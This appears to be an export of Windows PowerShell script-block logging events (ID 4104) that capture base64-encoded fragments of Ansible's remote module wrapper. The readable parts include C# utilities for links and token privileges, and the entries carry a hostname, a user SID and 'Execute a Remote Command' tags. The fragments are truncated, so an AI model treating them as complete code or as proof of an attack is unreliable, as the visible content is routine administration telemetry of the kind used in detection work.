cyhsaW5rVGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtGbGFncyA9IFNZTUJPTElDX0xJTktfRkxBR19ESVJFQ1RPUlk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBsaW5rRmxhZ3MgPSBTWU1CT0xJQ19MSU5LX0ZMQUdfRklMRTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCFDcmVhdGVTeW1ib2xpY0xpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIGxpbmtGbGFncykpCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZVN5bWJvbGljTGluayh7MH0sIHsxfSwgezJ9KSBmYWlsZWQiLCBsaW5rUGF0aCwgbGlua1RhcmdldCwgbGlua0ZsYWdzKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkp1bmN0aW9uUG9pbnQ6CiAgICAgICAgICAgICAgICAgICAgQ3JlYXRlSnVuY3Rpb25Qb2ludChsaW5rUGF0aCwgbGlua1RhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkhhcmRMaW5rOgogICAgICAgICAgICAgICAgICAgIGlmICghQ3JlYXRlSGFyZExpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiQ3JlYXRlSGFyZExpbmsoezB9LCB7MX0pIGZhaWxlZCIsIGxpbmtQYXRoLCBsaW5rVGFyZ2V0KSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIExpbmtJbmZvIEdldEhhcmRMaW5rSW5mbyhzdHJpbmcgbGlua1BhdGgpCiAgICAgICAgewogICAgICAgICAgICBVSW50MzIgbWF4UGF0aCA9IDI2MDsKICAgICAgICAgICAgTGlzdDxzdHJpbmc+IHJlc3VsdCA9IG5ldyBMaXN0PHN0cmluZz4oKTsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KW1heFBhdGgpOwogICAgICAgICAgICBVSW50MzIgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgaWYgKCFHZXRWb2x1bWVQYXRoTmFtZShsaW5rUGF0aCwgc2IsIHJlZiBzdHJpbmdMZW5ndGgpKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oIkdldFZvbHVtZVBhdGhOYW1lKCkgZmFpbGVkIik7CiAgICAgICAgICAgIHN0cmluZyB2b2x1bWUgPSBzYi5Ub1N0cmluZygpOwoKICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgSW50UHRyIGZpbmRIYW5kbGUgPSBGaW5kRmlyc3RGaWxlTmFtZVcobGlua1BhdGgsIDAsIHJlZiBzdHJpbmdMZW5ndGgsIHNiKTsKICAgICAgICAgICAgaWYgKGZpbmRIYW5kbGUuVG9JbnQ2NCgpICE9IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBkbwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGhhcmRMaW5rUGF0aCA9IHNiLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoYXJkTGlua1BhdGguU3RhcnRzV2l0aCgiXFwiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhcmRMaW5rUGF0aCA9IGhhcmRMaW5rUGF0aC5TdWJzdHJpbmcoMSwgaGFyZExpbmtQYXRoLkxlbmd0aCAtIDEpOwoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LkFkZChQYXRoLkNvbWJpbmUodm9sdW1lLCBoYXJkTGlua1BhdGgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKCiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoRmluZE5leHRGaWxlTmFtZVcoZmluZEhhbmRsZSwgcmVmIHN0cmluZ0xlbmd0aCwgc2IpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBGaW5kQ2xvc2UoZmluZEhhbmRsZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LkNvdW50ID4gMSkKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgTGlua0luZm8KICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUeXBlID0gTGlua1R5cGUuSGFyZExpbmssCiAgICAgICAgICAgICAgICAgICAgSGFyZFRhcmdldHMgPSByZXN1bHQuVG9BcnJheSgpCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBMaW5rSW5mbyBHZXRSZXBhcnNlUG9pbnRJbmZvKHN0cmluZyBsaW5rUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIFNhZmVGaWxlSGFuZGxlIGZpbGVIYW5kbGUgPSBDcmVhdGVGaWxlKAogICAgICAgICAgICAgICAgbGlua1BhdGgsCiAgICAgICAgICAgICAgICBGaWxlQWNjZXNzLlJlYWQsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuTm9uZSwKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgRmlsZU1vZGUuT3BlbiwKICAgICAgICAgICAgICAgIEZJTEVfRkxBR19PUEVOX1JFUEFSU0VfUE9JTlQgfCBGSUxFX0ZMQUdfQkFDS1VQX1NFTUFOVElDUywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKTsKCiAgICAgICAgICAgIGlmIChmaWxlSGFuZGxlLklzSW52YWxpZCkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZUZpbGUoezB9KSBmYWlsZWQiLCBsaW5rUGF0aCkpOyAgICAgICAgICAgIAoKICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfR0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICAgICAgMCwKICAgICAgICAgICAgICAgICAgICBvdXQgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIE1BWElNVU1fUkVQQVJTRV9EQVRBX0JVRkZFUl9TSVpFLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgZm9yIGZpbGUgYXQgezB9IiwgbGlua1BhdGgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUuRGlzcG9zZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBib29sIGlzUmVsYXRpdmUgPSBmYWxzZTsKICAgICAgICAgICAgaW50IHBhdGhPZmZzZXQgPSAwOwogICAgICAgICAgICBMaW5rVHlwZSBsaW5rVHlwZTsKICAgICAgICAgICAgaWYgKGJ1ZmZlci5SZXBhcnNlVGFnID09IElPX1JFUEFSU0VfVEFHX1NZTUxJTkspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFVJbnQzMiBidWZmZXJGbGFncyA9IENvbnZlcnQuVG9VSW50MzIoYnVmZmVyLlBhdGhCdWZmZXJbMF0pICsgQ29udmVydC5Ub1VJbnQzMihidWZmZXIuUGF0aEJ1ZmZlclsxXSk7CiAgICAgICAgICAgICAgICBpZiAoYnVmZmVyRmxhZ3MgPT0gU1lNTElOS19GTEFHX1JFTEFUSVZFKQogICAgICAgICAgICAgICAgICAgIGlzUmVsYXRpdmUgPSB0cnVlOwogICAgICAgICAgICAgICAgcGF0aE9mZnNldCA9IDI7CiAgICAgICAgICAgICAgICBsaW5rVHlwZSA9IExpbmtUeXBlLlN5bWJvbGljTGluazsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmIChidWZmZXIuUmVwYXJzZVRhZyA9PSBJT19SRVBBUlNFX1RBR19NT1VOVF9QT0lOVCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbGlua1R5cGUgPSBMaW5rVHlwZS5KdW5jdGlvblBvaW50OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIGVycm9yTWVzc2FnZSA9IFN0cmluZy5Gb3JtYXQoIkludmFsaWQgUmVwYXJzZSBUYWc6IHswfSIsIGJ1ZmZlci5SZXBhcnNlVGFnLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbihlcnJvck1lc3NhZ2UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzdHJpbmcgcHJpbnROYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlByaW50TmFtZU9mZnNldCAvIFNJWkVfT0ZfV0NIQVIpICsgcGF0aE9mZnNldCwgKGludCkoYnVmZmVyLlByaW50TmFtZUxlbmd0aCAvIFNJWkVfT0ZfV0NIQVIpKTsKICAgICAgICAgICAgc3RyaW5nIHN1YnN0aXR1dGVOYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlN1YnN0aXR1dGVOYW1lT2Zmc2V0IC8gU0laRV9PRl9XQ0hBUikgKyBwYXRoT2Zmc2V0LCAoaW50KShidWZmZXIuU3Vic3RpdHV0ZU5hbWVMZW5ndGggLyBTSVpFX09GX1dDSEFSKSk7CgogICAgICAgICAgICAvLyBUT0RPOiBzaG91bGQgd2UgY2hlY2sgZm9yIFw/XFVOQ1xzZXJ2ZXIgZm9yIGNvbnZlcnQgaXQgdG8gdGhlIE5UIHN0eWxlIFxcc2VydmVyIHBhdGgKICAgICAgICAgICAgLy8gUmVtb
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2239 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 8):
gICAgfQp9CidACgpGdW5jdGlvbiBJbXBvcnQtUHJpdmlsZWdlVXRpbCB7CiAgICA8IwogICAgLlNZTk9QU0lTCiAgICBDb21waWxlcyB0aGUgQyMgY29kZSB0aGF0IGNhbiBiZSB1c2VkIHRvIG1hbmFnZSBXaW5kb3dzIHByaXZpbGVnZXMgZnJvbSBhbgogICAgQW5zaWJsZSBtb2R1bGUuIE9uY2UgdGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQsIHRoZSBmb2xsb3dpbmcgUG93ZXJTaGVsbAogICAgY21kbGV0cyBjYW4gYmUgdXNlZDsKCiAgICAgICAgR2V0LUFuc2libGVQcml2aWxlZ2UKICAgICAgICBTZXQtQW5zaWJsZVByaXZpbGVnZQoKICAgIFRoZSBhYm92ZSBjbWRsZXRzIGdpdmUgdGhlIGFiaWxpdHkgdG8gbWFuYWdlIHBlcm1pc3Npb25zIG9uIHRoZSBjdXJyZW50CiAgICBwcm9jZXNzIHRva2VuIGJ1dCB0aGUgdW5kZXJseWluZyAuTkVUIGNsYXNzZXMgYXJlIGFsc28gZXhwb3NlZCBmb3IgZ3JlYXRlcgogICAgY29udHJvbC4gVGhlIGZvbGxvd2luZyBmdW5jdGlvbnMgY2FuIGJlIHVzZWQgYnkgY2FsbGluZyB0aGUgLk5FVCBjbGFzcwoKICAgIFtBbnNpYmxlLlByaXZpbGVnZVV0aWwuUHJpdmlsZWdlc106OkNoZWNrUHJpdmlsZWdlTmFtZSgkbmFtZSkKICAgIFtBbnNpYmxlLlByaXZpbGVnZVV0aWwuUHJpdmlsZWdlc106OkRpc2FibGVQcml2aWxlZ2UoJHByb2Nlc3MsICRuYW1lKQogICAgW0Fuc2libGUuUHJpdmlsZWdlVXR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GaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLlU0KV0gRmlsZUFjY2VzcyBkd0Rlc2lyZWRBY2Nlc3MsCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5VNCldIEZpbGVTaGFyZSBkd1NoYXJlTW9kZSwKICAgICAgICAgICAgSW50UHRyIGxwU2VjdXJpdHlBdHRyaWJ1
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2238 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 8):
xlbmd0aCk7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuR2V0VG9rZW5JbmZvcm1hdGlvbihoVG9rZW4sIFRPS0VOX1BSSVZJTEVHRVMsIHByaXZpbGVnZXNQdHIsIHRva2VuTGVuZ3RoLCBvdXQgdG9rZW5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkdldFRva2VuSW5mb3JtYXRpb24oKSBmb3IgVE9LRU5fUFJJVklMRUdFUyBmYWlsZWQiKTsKCiAgICAgICAgICAgICAgICAgICAgTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTIHByaXZpbGVnZUluZm8gPSAoTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocHJpdmlsZWdlc1B0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgIHByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW3ByaXZpbGVnZUluZm8uUHJpdmlsZWdlQ291bnRdOwogICAgICAgICAgICAgICAgICAgIFB0clRvU3RydWN0dXJlQXJyYXkocHJpdmlsZWdlcywgSW50UHRyLkFkZChwcml2aWxlZ2VzUHRyLCBNYXJzaGFsLlNpemVPZihwcml2aWxlZ2VJbmZvLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocHJpdmlsZWdlc1B0cik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW5mbyA9IHByaXZpbGVnZXMuVG9EaWN0aW9uYXJ5KHAgPT4gR2V0UHJpdmlsZWdlTmFtZShwLkx1aWQpLCBwID0+IHAuQXR0cmlidXRlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBOYXRpdmVNZXRob2RzLkNsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGluZm87CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIFNhZmVXYWl0SGFuZGxlIEdldEN1cnJlbnRQcm9jZXNzKCkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBOYXRpdmVNZXRob2RzL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YnV0ZXMgYXR0cmlidXRlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZW50cnkuVmFsdWUpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSB0cnVlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIGZhbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5EaXNhYmxlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlcyA9IFByaXZpbGVnZUF0dHJpYnV0ZXMuUmVtb3ZlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcHJpdmlsZWdlQXR0cltpXS5MdWlkID0gbHVpZDsKICAgICAgICAgICAgICAgIHByaXZpbGVnZUF0dHJbaV0uQXR0cmlidXRlcyA9IGF0dHJpYnV0ZXM7CiAgICAgICAgICAgICAgICBpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBBZGp1c3RUb2tlblByaXZpbGVnZXModG9rZW4sIHByaXZpbGVnZUF0dHIpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBBZGp1c3RUb2tlblByaXZpbGVnZXMoU2FmZUhhbmRsZSB0b2tlbiwgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gbmV3U3RhdGUpCiAgICAgICAgewogICAgICAgICAgICBib29sIGRpc2FibGVBbGxQcml2aWxlZ2VzOwogICAgIC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AgICAgSW50UHRyIG9sZFN0YXRlUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoMCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkFkanVzdFRva2VuUHJpdmlsZWdlcyhoVG9rZW4sIGRpc2FibGVBbGxQcml2aWxlZ2VzLCBuZXdTdGF0ZVB0ciwgMCwgb2xkU3RhdGVQdHIsIG91dCByZXR1cm5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJDb2RlICE9IDEyMikgLy8gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKGVyckNvZGUsICJBZGp1c3RUb2tlblByaXZpbGVnZXMoKSBmYWlsZWQgdG8gZ2V0IG9sZCBzdGF0ZSBzaXplIik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyByZXNpemUgdGhlIG9sZFN0YXRlUHRyIGJhc2VkIG9uIHRoZSBsZW5ndGggcmV0dXJuZWQgZnJvbSBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChvbGRTdGF0ZVB0cik7CiAgICAgICAgICAgICAgICAgICAgb2xkU3RhdGVQdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgoaW50KXJldHVybkxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBib29sIHJlcyA9IE5hdGl2ZU1ldGhvZHMuQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKGhUb2tlbiwgZGlzYWJsZUFsbFByaXZpbGV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9sZFN0YXRlLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKG9sZFN0YXRlUHRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5DbG9zZUhhbmRsZShoVG9rZW4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKG5ld1N0YXRlUHRyICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwobmV3U3RhdGVQdHIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gb2xkU3RhdGVQcml2aWxlZ2VzLlRvRGljdGlvbmFyeShwID0+IEdldFByaXZpbGVnZU5hbWUocC5MdWlkKSwgcCA9PiAoYm9vbD8pcC5BdHRyaWJ1dGVzLkhhc0ZsYWcoUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgR2V0UHJpdmlsZWdlTmFtZShOYXRpdmVIZWxwZXJzLkxVSUQgbHVpZCkKICAgICAgICB7CiAgICAgICAgICAgIFVJbnQzMiBuYW1lTGVuID0gMDsKICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5Mb29rdXBQcml2aWxlZ2VOYW1lKG51bGwsIHJlZiBsdWlkLCBudWxsLCByZWYgbmFtZUxlbik7CgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIG5hbWUgPSBuZXcgU3RyaW5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ZSwgc3RydWN0UHRyLCBmYWxzZSk7CiAgICAgICAgICAgICAgICBNYXJzaGFsLkNvcHkoc3RydWN0UHRyLCBhcnJheSwgb2Zmc2V0LCBzaXplKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwoc3RydWN0UHRyKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIHNpemU7CiAgICAgICAgfQo
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2237 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 8):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pb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tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.PrivilegeUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTggQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiMgc3RvcmUgaW4gc2VwYXJhdGUgdmFyaWFibGVzIHRvIG1ha2UgaXQgZWFzaWVyIGZvciBvdGhlciBtb2R1bGVfdXRpbHMgdG8KIyBzaGFyZSB0aGlzIGNvZGUgaW4gdGhlaXIgb3duIGMjIGNvZGUKJGFuc2libGVfcHJpdmlsZWdlX3V0aWxfbmFtZXNwYWNlcyA9IEAoCiAgICAiTWljcm9zb2Z0LldpbjMyLlNhZmVIYW5kbGVzIiwKICAgICJTeXN0ZW0iLAogICAgIlN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljIiwKICAgICJTeXN0ZW0uTGlucSIsCiAgICAiU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzIiwKICAgICJTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsIiwKICAgICJTeXN0ZW0uVGV4dCIKKQoKJGFuc2libGVfcHJpdmlsZWdlX3V0aWxfY29kZSA9IEAnCm5hbWVzcGFjZSBBbnNpYmxlLlByaXZpbGVnZVV0aWwKewogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gUHJpdmlsZWdlQXR0cmlidXRlcyA6IHVpbnQKICAgIHsKICAgICAgICBEaXNhYmxlZCA9IDB4MDAwMDAwMDAsCiAgICAgICAgRW5hYmxlZEJ5RGVmYXV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sbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIEFkanVzdFRva2VuUHJpdmlsZWdlcygKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgRGlzYWJsZUFsbFByaXZpbGVnZXMsCiAgICAgICAgICAgIEludFB0ciBOZXdTdGF0ZSwKICAgICAgICAgICAgVUludDMyIEJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgSW50UHRyIFByZXZpb3VzU3RhdGUsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIENsb3NlSGFuZGxlKAogICAgICAgICAgICBJbnRQdHIgaE9iamVjdCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5